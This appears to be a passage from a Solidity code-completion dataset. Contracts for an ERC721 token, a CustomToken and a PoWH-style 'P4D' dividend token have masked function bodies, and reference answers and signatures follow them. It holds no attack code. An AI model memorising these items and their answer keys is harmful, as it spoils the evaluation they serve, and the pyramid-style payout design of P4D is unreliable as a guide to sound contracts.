spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (isContract(to)) { try IERC721Receiver(to).onERC721Received( msg.sender, from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/7f6a1666fac8ecff5dd467d0938069bc221ea9e0/contracts/utils/Address.sol function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
contract ERC721 is ERC165, IERC721, IERC721Events { mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != msg.sender, "ERC721: approve to caller"); _operatorApprovals[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } <FILL_FUNCTION> function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (isContract(to)) { try IERC721Receiver(to).onERC721Received( msg.sender, from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/7f6a1666fac8ecff5dd467d0938069bc221ea9e0/contracts/utils/Address.sol function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
//solhint-disable-next-line max-line-length require( _isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId);
function transferFrom( address from, address to, uint256 tokenId ) public virtual override
function transferFrom( address from, address to, uint256 tokenId ) public virtual override
17150
CustomToken
null
contract CustomToken is BaseToken { constructor() public {<FILL_FUNCTION_BODY> } }
contract CustomToken is BaseToken { <FILL_FUNCTION> }
balanceOf[0x348D6E3320F0Bd8D7281A6aa3545C51F852a2892] = totalSupply; emit Transfer(address(0), 0x348D6E3320F0Bd8D7281A6aa3545C51F852a2892, totalSupply);
constructor() public
constructor() public
68906
P4D
withdrawSubdivsAmount
contract P4D { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (how many tokens it costs to hold a masternode, in case it gets crazy high later) // -> allow a contract to accept P4D tokens // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator() { require(administrators[msg.sender] || msg.sender == _dev); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier purchaseFilter(address _sender, uint256 _amountETH) { require(!isContract(_sender) || canAcceptTokens_[_sender]); if (now >= ACTIVATION_TIME) { onlyAmbassadors = false; } // are we still in the vulnerable phase? // if so, enact anti early whale protocol if (onlyAmbassadors && ((totalAmbassadorQuotaSpent_ + _amountETH) <= ambassadorQuota_)) { require( // is the customer in the ambassador list? ambassadors_[_sender] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_sender] + _amountETH) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_sender] = SafeMath.add(ambassadorAccumulatedQuota_[_sender], _amountETH); totalAmbassadorQuotaSpent_ = SafeMath.add(totalAmbassadorQuotaSpent_, _amountETH); // execute _; } else { require(!onlyAmbassadors); _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed _customerAddress, uint256 _incomingP3D, uint256 _tokensMinted, address indexed _referredBy ); event onTokenSell( address indexed _customerAddress, uint256 _tokensBurned, uint256 _P3D_received ); event onReinvestment( address indexed _customerAddress, uint256 _P3D_reinvested, uint256 _tokensMinted ); event onSubdivsReinvestment( address indexed _customerAddress, uint256 _ETH_reinvested, uint256 _tokensMinted ); event onWithdraw( address indexed _customerAddress, uint256 _P3D_withdrawn ); event onSubdivsWithdraw( address indexed _customerAddress, uint256 _ETH_withdrawn ); event onNameRegistration( address indexed _customerAddress, string _registeredName ); // ERC-20 event Transfer( address indexed _from, address indexed _to, uint256 _tokens ); event Approval( address indexed _tokenOwner, address indexed _spender, uint256 _tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "PoWH4D"; string public symbol = "P4D"; uint256 constant public decimals = 18; uint256 constant internal buyDividendFee_ = 10; // 10% dividend tax on each buy uint256 constant internal sellDividendFee_ = 5; // 5% dividend tax on each sell uint256 internal tokenPriceInitial_; // set in the constructor uint256 constant internal tokenPriceIncremental_ = 1e9; // 1/10th the incremental of P3D uint256 constant internal magnitude = 2**64; uint256 public stakingRequirement = 1e22; // 10,000 P4D uint256 constant internal initialBuyLimitPerTx_ = 1 ether; uint256 constant internal initialBuyLimitCap_ = 100 ether; uint256 internal totalInputETH_ = 0; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1 ether; uint256 constant internal ambassadorQuota_ = 12 ether; uint256 internal totalAmbassadorQuotaSpent_ = 0; address internal _dev; uint256 public ACTIVATION_TIME; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal dividendsStored_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // contracts can interact with the exchange but only approved ones mapping(address => bool) public canAcceptTokens_; // ERC-20 standard mapping(address => mapping (address => uint256)) public allowed; // P3D contract reference P3D internal _P3D; // structure to handle the distribution of ETH divs paid out by the P3D contract struct P3D_dividends { uint256 balance; uint256 lastDividendPoints; } mapping(address => P3D_dividends) internal divsMap_; uint256 internal totalDividendPoints_; uint256 internal lastContractBalance_; // structure to handle the global unique name/vanity registration struct NameRegistry { uint256 activeIndex; bytes32[] registeredNames; } mapping(address => NameRegistry) internal customerNameMap_; mapping(bytes32 => address) internal globalNameMap_; uint256 constant internal nameRegistrationFee = 0.01 ether; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor(uint256 _activationTime, address _P3D_address) public { _dev = msg.sender; ACTIVATION_TIME = _activationTime; totalDividendPoints_ = 1; // non-zero value _P3D = P3D(_P3D_address); // virtualized purchase of the entire ambassador quota // calculateTokensReceived() for this contract will return how many tokens can be bought starting at 1e9 P3D per P4D // as the price increases by the incremental each time we can just multiply it out and scale it back to e18 // // this is used as the initial P3D-P4D price as it makes it fairer on other investors that aren't ambassadors uint256 _P4D_received; (, _P4D_received) = calculateTokensReceived(ambassadorQuota_); tokenPriceInitial_ = tokenPriceIncremental_ * _P4D_received / 1e18; // admins administrators[_dev] = true; // ambassadors ambassadors_[_dev] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral address */ function buy(address _referredBy) payable public returns(uint256) { return purchaseInternal(msg.sender, msg.value, _referredBy); } /** * Buy with a registered name as the referrer. * If the name is unregistered, address(0x0) will be the ref */ function buyWithNameRef(string memory _nameOfReferrer) payable public returns(uint256) { return purchaseInternal(msg.sender, msg.value, ownerOfName(_nameOfReferrer)); } /** * Fallback function to handle ethereum that was sent straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { if (msg.sender != address(_P3D)) { purchaseInternal(msg.sender, msg.value, address(0x0)); } // all other ETH is from the withdrawn dividends from // the P3D contract, this is distributed out via the // updateSubdivsFor() method // no more computation can be done inside this function // as when you call address.transfer(uint256), only // 2,300 gas is forwarded to this function so no variables // can be mutated with that limit // address(this).balance will represent the total amount // of ETH dividends from the P3D contract (minus the amount // that's already been withdrawn) } /** * Distribute any ETH sent to this method out to all token holders */ function donate() payable public { // nothing happens here in order to save gas // all of the ETH sent to this function will be distributed out // via the updateSubdivsFor() method // // this method is designed for external contracts that have // extra ETH that they want to evenly distribute to all // P4D token holders } /** * Allows a customer to pay for a global name on the P4D network * There's a 0.01 ETH registration fee per name * All ETH is distributed to P4D token holders via updateSubdivsFor() */ function registerName(string memory _name) payable public { address _customerAddress = msg.sender; require(!onlyAmbassadors || ambassadors_[_customerAddress]); require(bytes(_name).length > 0); require(msg.value >= nameRegistrationFee); uint256 excess = SafeMath.sub(msg.value, nameRegistrationFee); bytes32 bytesName = stringToBytes32(_name); require(globalNameMap_[bytesName] == address(0x0)); NameRegistry storage customerNamesInfo = customerNameMap_[_customerAddress]; customerNamesInfo.registeredNames.push(bytesName); customerNamesInfo.activeIndex = customerNamesInfo.registeredNames.length - 1; globalNameMap_[bytesName] = _customerAddress; if (excess > 0) { _customerAddress.transfer(excess); } // fire event emit onNameRegistration(_customerAddress, _name); // similar to the fallback and donate functions, the ETH cost of // the name registration fee (0.01 ETH) will be distributed out // to all P4D tokens holders via the updateSubdivsFor() method } /** * Change your active name to a name that you've already purchased */ function changeActiveNameTo(string memory _name) public { address _customerAddress = msg.sender; require(_customerAddress == ownerOfName(_name)); bytes32 bytesName = stringToBytes32(_name); NameRegistry storage customerNamesInfo = customerNameMap_[_customerAddress]; uint256 newActiveIndex = 0; for (uint256 i = 0; i < customerNamesInfo.registeredNames.length; i++) { if (bytesName == customerNamesInfo.registeredNames[i]) { newActiveIndex = i; break; } } customerNamesInfo.activeIndex = newActiveIndex; } /** * Similar to changeActiveNameTo() without the need to iterate through your name list */ function changeActiveNameIndexTo(uint256 _newActiveIndex) public { address _customerAddress = msg.sender; NameRegistry storage customerNamesInfo = customerNameMap_[_customerAddress]; require(_newActiveIndex < customerNamesInfo.registeredNames.length); customerNamesInfo.activeIndex = _newActiveIndex; } /** * Converts all of caller's dividends to tokens. * The argument is not used but it allows MetaMask to render * 'Reinvest' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function reinvest(bool) public { // setup data address _customerAddress = msg.sender; withdrawInternal(_customerAddress); uint256 reinvestableDividends = dividendsStored_[_customerAddress]; reinvestAmount(reinvestableDividends); } /** * Converts a portion of caller's dividends to tokens. */ function reinvestAmount(uint256 _amountOfP3D) public { // setup data address _customerAddress = msg.sender; withdrawInternal(_customerAddress); if (_amountOfP3D > 0 && _amountOfP3D <= dividendsStored_[_customerAddress]) { dividendsStored_[_customerAddress] = SafeMath.sub(dividendsStored_[_customerAddress], _amountOfP3D); // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_customerAddress, _amountOfP3D, address(0x0)); // fire event emit onReinvestment(_customerAddress, _amountOfP3D, _tokens); } } /** * Converts all of caller's subdividends to tokens. * The argument is not used but it allows MetaMask to render * 'Reinvest Subdivs' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function reinvestSubdivs(bool) public { // setup data address _customerAddress = msg.sender; updateSubdivsFor(_customerAddress); uint256 reinvestableSubdividends = divsMap_[_customerAddress].balance; reinvestSubdivsAmount(reinvestableSubdividends); } /** * Converts a portion of caller's subdividends to tokens. */ function reinvestSubdivsAmount(uint256 _amountOfETH) public { // setup data address _customerAddress = msg.sender; updateSubdivsFor(_customerAddress); if (_amountOfETH > 0 && _amountOfETH <= divsMap_[_customerAddress].balance) { divsMap_[_customerAddress].balance = SafeMath.sub(divsMap_[_customerAddress].balance, _amountOfETH); lastContractBalance_ = SafeMath.sub(lastContractBalance_, _amountOfETH); // purchase tokens with the ETH subdividends uint256 _tokens = purchaseInternal(_customerAddress, _amountOfETH, address(0x0)); // fire event emit onSubdivsReinvestment(_customerAddress, _amountOfETH, _tokens); } } /** * Alias of sell(), withdraw() and withdrawSubdivs(). * The argument is not used but it allows MetaMask to render * 'Exit' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function exit(bool) public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(true); withdrawSubdivs(true); } /** * Withdraws all of the callers dividend earnings. * The argument is not used but it allows MetaMask to render * 'Withdraw' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function withdraw(bool) public { // setup data address _customerAddress = msg.sender; withdrawInternal(_customerAddress); uint256 withdrawableDividends = dividendsStored_[_customerAddress]; withdrawAmount(withdrawableDividends); } /** * Withdraws a portion of the callers dividend earnings. */ function withdrawAmount(uint256 _amountOfP3D) public { // setup data address _customerAddress = msg.sender; withdrawInternal(_customerAddress); if (_amountOfP3D > 0 && _amountOfP3D <= dividendsStored_[_customerAddress]) { dividendsStored_[_customerAddress] = SafeMath.sub(dividendsStored_[_customerAddress], _amountOfP3D); // lambo delivery service require(_P3D.transfer(_customerAddress, _amountOfP3D)); // NOTE! // P3D has a 10% transfer tax so even though this is sending your entire // dividend count to you, you will only actually receive 90%. // fire event emit onWithdraw(_customerAddress, _amountOfP3D); } } /** * Withdraws all of the callers subdividend earnings. * The argument is not used but it allows MetaMask to render * 'Withdraw Subdivs' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function withdrawSubdivs(bool) public { // setup data address _customerAddress = msg.sender; updateSubdivsFor(_customerAddress); uint256 withdrawableSubdividends = divsMap_[_customerAddress].balance; withdrawSubdivsAmount(withdrawableSubdividends); } /** * Withdraws a portion of the callers subdividend earnings. */ function withdrawSubdivsAmount(uint256 _amountOfETH) public {<FILL_FUNCTION_BODY> } /** * Liquifies tokens to P3D. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; updateSubdivsFor(_customerAddress); // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _P3D_amount = tokensToP3D_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_P3D_amount, sellDividendFee_), 100); uint256 _taxedP3D = SafeMath.sub(_P3D_amount, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256)(profitPerShare_ * _tokens + (_taxedP3D * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire events emit onTokenSell(_customerAddress, _tokens, _taxedP3D); emit Transfer(_customerAddress, address(0x0), _tokens); } /** * Transfer tokens from the caller to a new holder. * REMEMBER THIS IS 0% TRANSFER FEE */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { address _customerAddress = msg.sender; return transferInternal(_customerAddress, _toAddress, _amountOfTokens); } /** * Transfer token to a specified address and forward the data to recipient * ERC-677 standard * https://github.com/ethereum/EIPs/issues/677 * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transferAndCall(address _to, uint256 _value, bytes _data) external returns(bool) { require(canAcceptTokens_[_to]); // approved contracts only require(transfer(_to, _value)); // do a normal token transfer to the contract if (isContract(_to)) { usingP4D receiver = usingP4D(_to); require(receiver.tokenCallback(msg.sender, _value, _data)); } return true; } /** * ERC-20 token standard for transferring tokens on anothers behalf */ function transferFrom(address _from, address _to, uint256 _amountOfTokens) public returns(bool) { require(allowed[_from][msg.sender] >= _amountOfTokens); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _amountOfTokens); return transferInternal(_from, _to, _amountOfTokens); } /** * ERC-20 token standard for allowing another address to transfer your tokens * on your behalf up to a certain limit */ function approve(address _spender, uint256 _tokens) public returns(bool) { allowed[msg.sender][_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); return true; } /** * ERC-20 token standard for approving and calling an external * contract with data */ function approveAndCall(address _to, uint256 _value, bytes _data) external returns(bool) { require(approve(_to, _value)); // do a normal approval if (isContract(_to)) { controllingP4D receiver = controllingP4D(_to); require(receiver.approvalCallback(msg.sender, _value, _data)); } return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Add a new ambassador to the exchange */ function setAmbassador(address _identifier, bool _status) onlyAdministrator() public { ambassadors_[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * Add a sub-contract, which can accept P4D tokens */ function setCanAcceptTokens(address _address) onlyAdministrator() public { require(isContract(_address)); canAcceptTokens_[_address] = true; // one way switch } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current P3D tokens stored in the contract */ function totalBalance() public view returns(uint256) { return _P3D.myTokens(); } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is set to true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return (_includeReferralBonus ? dividendsOf(_customerAddress) + referralDividendsOf(_customerAddress) : dividendsOf(_customerAddress)); } /** * Retrieve the subdividend owned by the caller. */ function myStoredDividends() public view returns(uint256) { address _customerAddress = msg.sender; return storedDividendsOf(_customerAddress); } /** * Retrieve the subdividend owned by the caller. */ function mySubdividends() public view returns(uint256) { address _customerAddress = msg.sender; return subdividendsOf(_customerAddress); } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) public view returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) public view returns(uint256) { return (uint256)((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Retrieve the referred dividend balance of any single address. */ function referralDividendsOf(address _customerAddress) public view returns(uint256) { return referralBalance_[_customerAddress]; } /** * Retrieve the stored dividend balance of any single address. */ function storedDividendsOf(address _customerAddress) public view returns(uint256) { return dividendsStored_[_customerAddress] + dividendsOf(_customerAddress) + referralDividendsOf(_customerAddress); } /** * Retrieve the subdividend balance owing of any single address. */ function subdividendsOwing(address _customerAddress) public view returns(uint256) { return (divsMap_[_customerAddress].lastDividendPoints == 0 ? 0 : (balanceOf(_customerAddress) * (totalDividendPoints_ - divsMap_[_customerAddress].lastDividendPoints)) / magnitude); } /** * Retrieve the subdividend balance of any single address. */ function subdividendsOf(address _customerAddress) public view returns(uint256) { return SafeMath.add(divsMap_[_customerAddress].balance, subdividendsOwing(_customerAddress)); } /** * Retrieve the allowance of an owner and spender. */ function allowance(address _tokenOwner, address _spender) public view returns(uint256) { return allowed[_tokenOwner][_spender]; } /** * Retrieve all name information about a customer */ function namesOf(address _customerAddress) public view returns(uint256 activeIndex, string activeName, bytes32[] customerNames) { NameRegistry memory customerNamesInfo = customerNameMap_[_customerAddress]; uint256 length = customerNamesInfo.registeredNames.length; customerNames = new bytes32[](length); for (uint256 i = 0; i < length; i++) { customerNames[i] = customerNamesInfo.registeredNames[i]; } activeIndex = customerNamesInfo.activeIndex; activeName = activeNameOf(_customerAddress); } /** * Retrieves the address of the owner from the name */ function ownerOfName(string memory _name) public view returns(address) { if (bytes(_name).length > 0) { bytes32 bytesName = stringToBytes32(_name); return globalNameMap_[bytesName]; } else { return address(0x0); } } /** * Retrieves the active name of a customer */ function activeNameOf(address _customerAddress) public view returns(string) { NameRegistry memory customerNamesInfo = customerNameMap_[_customerAddress]; if (customerNamesInfo.registeredNames.length > 0) { bytes32 activeBytesName = customerNamesInfo.registeredNames[customerNamesInfo.activeIndex]; return bytes32ToString(activeBytesName); } else { return ""; } } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _P3D_received = tokensToP3D_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_P3D_received, sellDividendFee_), 100); uint256 _taxedP3D = SafeMath.sub(_P3D_received, _dividends); return _taxedP3D; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _P3D_received = tokensToP3D_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_P3D_received, buyDividendFee_), 100); uint256 _taxedP3D = SafeMath.add(_P3D_received, _dividends); return _taxedP3D; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _amountOfETH) public view returns(uint256 _P3D_received, uint256 _P4D_received) { uint256 P3D_received = _P3D.calculateTokensReceived(_amountOfETH); uint256 _dividends = SafeMath.div(SafeMath.mul(P3D_received, buyDividendFee_), 100); uint256 _taxedP3D = SafeMath.sub(P3D_received, _dividends); uint256 _amountOfTokens = P3DtoTokens_(_taxedP3D); return (P3D_received, _amountOfTokens); } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateAmountReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _P3D_received = tokensToP3D_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_P3D_received, sellDividendFee_), 100); uint256 _taxedP3D = SafeMath.sub(_P3D_received, _dividends); return _taxedP3D; } /** * Utility method to expose the P3D address for any child contracts to use */ function P3D_address() public view returns(address) { return address(_P3D); } /** * Utility method to return all of the data needed for the front end in 1 call */ function fetchAllDataForCustomer(address _customerAddress) public view returns(uint256 _totalSupply, uint256 _totalBalance, uint256 _buyPrice, uint256 _sellPrice, uint256 _activationTime, uint256 _customerTokens, uint256 _customerUnclaimedDividends, uint256 _customerStoredDividends, uint256 _customerSubdividends) { _totalSupply = totalSupply(); _totalBalance = totalBalance(); _buyPrice = buyPrice(); _sellPrice = sellPrice(); _activationTime = ACTIVATION_TIME; _customerTokens = balanceOf(_customerAddress); _customerUnclaimedDividends = dividendsOf(_customerAddress) + referralDividendsOf(_customerAddress); _customerStoredDividends = storedDividendsOf(_customerAddress); _customerSubdividends = subdividendsOf(_customerAddress); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ // This function should always be called before a customers P4D balance changes. // It's responsible for withdrawing any outstanding ETH dividends from the P3D exchange // as well as distrubuting all of the additional ETH balance since the last update to // all of the P4D token holders proportionally. // After this it will move any owed subdividends into the customers withdrawable subdividend balance. function updateSubdivsFor(address _customerAddress) internal { // withdraw the P3D dividends first if (_P3D.myDividends(true) > 0) { _P3D.withdraw(); } // check if we have additional ETH in the contract since the last update uint256 contractBalance = address(this).balance; if (contractBalance > lastContractBalance_ && totalSupply() != 0) { uint256 additionalDivsFromP3D = SafeMath.sub(contractBalance, lastContractBalance_); totalDividendPoints_ = SafeMath.add(totalDividendPoints_, SafeMath.div(SafeMath.mul(additionalDivsFromP3D, magnitude), totalSupply())); lastContractBalance_ = contractBalance; } // if this is the very first time this is called for a customer, set their starting point if (divsMap_[_customerAddress].lastDividendPoints == 0) { divsMap_[_customerAddress].lastDividendPoints = totalDividendPoints_; } // move any owing subdividends into the customers subdividend balance uint256 owing = subdividendsOwing(_customerAddress); if (owing > 0) { divsMap_[_customerAddress].balance = SafeMath.add(divsMap_[_customerAddress].balance, owing); divsMap_[_customerAddress].lastDividendPoints = totalDividendPoints_; } } function withdrawInternal(address _customerAddress) internal { // setup data // dividendsOf() will return only divs, not the ref. bonus uint256 _dividends = dividendsOf(_customerAddress); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256)(_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // store the divs dividendsStored_[_customerAddress] = SafeMath.add(dividendsStored_[_customerAddress], _dividends); } function transferInternal(address _customerAddress, address _toAddress, uint256 _amountOfTokens) internal returns(bool) { // make sure we have the requested tokens 